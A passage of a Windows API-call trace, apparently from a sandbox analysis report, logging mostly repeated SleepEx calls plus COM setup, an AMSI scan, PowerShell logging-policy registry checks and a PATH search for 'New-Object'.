(dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.197] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.820] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe1fee18 | out: UnbiasedTime=0x5bfe1fee18) returned 1 [0202.822] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe1fe798 | out: UnbiasedTime=0x5bfe1fe798) returned 1 [0202.823] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe1fe798 | out: UnbiasedTime=0x5bfe1fe798) returned 1 [0202.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0203.196] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0203.291] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0203.408] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.121] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.341] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.487] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.025] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.400] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.488] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.581] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.675] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.769] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.868] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.956] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.050] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.222] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) Thread: id = 315 os_tid = 0xca4 Thread: id = 316 os_tid = 0xd04 [0182.034] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0182.034] CoGetContextToken (in: pToken=0x5bfe2bf900 | out: pToken=0x5bfe2bf900) returned 0x0 [0182.034] CObjectContext::QueryInterface () returned 0x0 [0182.034] CObjectContext::GetCurrentThreadType () returned 0x0 [0182.034] Release () returned 0x0 [0182.034] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0182.034] CoUninitialize () [0182.034] RoInitialize () returned 0x1 [0182.034] RoUninitialize () returned 0x0 [0210.359] CoGetContextToken (in: pToken=0x5bfe2bf520 | out: pToken=0x5bfe2bf520) returned 0x0 [0210.359] CObjectContext::QueryInterface () returned 0x0 [0210.359] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.359] Release () returned 0x0 Thread: id = 317 os_tid = 0xd00 [0182.036] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0182.036] RoInitialize () returned 0x1 [0182.036] RoUninitialize () returned 0x0 [0182.039] GetCurrentProcessId () returned 0x1328 [0182.041] EtwEventWriteTransfer () returned 0x0 [0182.041] EtwEventWriteTransfer () returned 0x0 [0182.048] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x61c [0182.053] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_Disabled", lpBuffer=0x5bfe33d960, nSize=0x80 | out: lpBuffer="䞃駴雇") returned 0x0 [0182.053] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_MinCount", lpBuffer=0x5bfe33d960, nSize=0x80 | out: lpBuffer="䞃駴雇") returned 0x0 [0182.055] EtwEventRegister () returned 0x0 [0182.055] EtwEventSetInformation () returned 0x0 [0182.058] ConnectNamedPipe (in: hNamedPipe=0x5e4, lpOverlapped=0x1ef00108ab0 | out: lpOverlapped=0x1ef00108ab0) returned 0 Thread: id = 318 os_tid = 0x130c [0185.835] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0185.836] CoGetContextToken (in: pToken=0x5bfe3bf6a0 | out: pToken=0x5bfe3bf6a0) returned 0x0 [0185.836] CObjectContext::QueryInterface () returned 0x0 [0185.836] CObjectContext::GetCurrentThreadType () returned 0x0 [0185.836] Release () returned 0x0 [0185.836] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0185.836] CoUninitialize () [0185.836] RoInitialize () returned 0x1 [0185.836] RoUninitialize () returned 0x0 [0185.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.959] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.006] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.053] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.146] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.531] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.578] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.672] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.720] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.859] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.907] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.953] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.000] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.047] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.094] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.235] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.328] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.375] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.469] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.615] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.859] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.907] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0187.954] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.001] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.047] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.094] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.106] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.106] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.107] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.129] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.221] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.408] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.658] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.757] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.852] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.945] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.257] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.351] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.632] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.795] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.806] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.806] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.806] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.806] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.821] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.836] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.929] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.976] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.054] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.148] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.242] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.337] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.382] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.430] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.476] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.617] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.664] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.711] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.757] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.804] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.851] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.852] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.869] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.916] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.025] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.083] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.092] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.121] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.123] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.123] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.123] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.124] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.125] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.126] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.129] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.165] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.196] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.197] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.198] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.213] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.252] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.252] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.252] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.267] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.273] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.273] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.276] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.290] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.295] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.298] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.299] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.301] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.321] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.339] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.356] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.357] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.358] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.359] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.364] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.365] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.366] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.367] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.369] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.869] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.996] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.035] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.038] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.041] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.073] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.136] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 319 os_tid = 0xbdc [0188.132] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0188.148] RoInitialize () returned 0x1 [0188.148] RoUninitialize () returned 0x0 [0188.149] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bfed4f090*=0x6a8, lpdwindex=0x5bfed4ee64 | out: lpdwindex=0x5bfed4ee64) returned 0x0 [0188.153] SetThreadUILanguage (LangId=0x0) returned 0x409 [0188.216] EtwEventRegister () returned 0x0 [0188.216] EtwEventSetInformation () returned 0x0 [0188.855] CoCreateGuid (in: pguid=0x5bfed4ef88 | out: pguid=0x5bfed4ef88*(Data1=0x48d3ef, Data2=0xc551, Data3=0x47a4, Data4=([0]=0x98, [1]=0x71, [2]=0xbe, [3]=0xb2, [4]=0x92, [5]=0xa9, [6]=0x76, [7]=0x60))) returned 0x0 [0188.893] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4eef8 | out: lpPerformanceCount=0x5bfed4eef8*=28488141850) returned 1 [0188.895] AmsiOpenSession () returned 0x0 [0188.895] AmsiScanString () returned 0x80070015 [0188.962] RoGetParameterizedTypeInstanceIID () returned 0x0 [0188.962] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0188.962] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0189.982] QueryPerformanceCounter (in: lpPerformanceCount=0x5bfed4eeb8 | out: lpPerformanceCount=0x5bfed4eeb8*=28597016009) returned 1 [0189.993] EtwEventRegister () returned 0x0 [0189.993] EtwEventSetInformation () returned 0x0 [0189.994] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bfed4eca0, nSize=0x80 | out: lpBuffer="슁翹") returned 0x0 [0190.426] EtwEventActivityIdControl () returned 0x0 [0190.426] EtwEventActivityIdControl () returned 0x0 [0190.426] EtwEventActivityIdControl () returned 0x0 [0190.436] EtwEventActivityIdControl () returned 0x0 [0190.436] EtwEventActivityIdControl () returned 0x0 [0190.436] EtwEventActivityIdControl () returned 0x0 [0190.728] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfed4dc00, nSize=0x80 | out: lpBuffer="Y") returned 0x0 [0190.728] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfed4dc00, nSize=0x80 | out: lpBuffer="Y") returned 0x0 [0190.741] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfed4dc50, nSize=0x80 | out: lpBuffer="") returned 0x0 [0190.761] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4ed18 | out: phkResult=0x5bfed4ed18*=0x0) returned 0x2 [0190.762] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4ed18 | out: phkResult=0x5bfed4ed18*=0x0) returned 0x2 [0190.762] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfed4dbc0, nSize=0x80 | out: lpBuffer="쏏翹") returned 0x0 [0191.025] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bfed4e390, nSize=0x80 | out: lpBuffer="塀슃翹") returned 0x0 [0191.028] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bfed4e200, nSize=0x80 | out: lpBuffer="") returned 0xbc [0191.028] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bfed4e190, nSize=0xbc | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0191.032] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bfed4e150, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0191.111] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0191.119] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bfed4e150, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0191.122] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0191.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2e0) returned 1 [0191.122] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3c0 | out: lpFileInformation=0x5bfed4e3c0*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0191.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.124] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0191.124] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0191.127] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.*", lpFindFileData=0x5bfed4e050 | out: lpFindFileData=0x5bfed4e050*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0191.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e240) returned 1 [0191.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e1f0) returned 1 [0191.134] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfed4d1a0, nSize=0xbc | out: lpBuffer="슄翹") returned 0x0 [0191.135] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0191.135] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0191.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2e0) returned 1 [0191.135] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3c0 | out: lpFileInformation=0x5bfed4e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa55ee53a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0xa55ee53a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x100000)) returned 1 [0191.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0191.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.135] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0191.136] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0191.136] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\New-Object.*", lpFindFileData=0x5bfed4e050 | out: lpFindFileData=0x5bfed4e050*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0191.136] SetThreadErrorMode 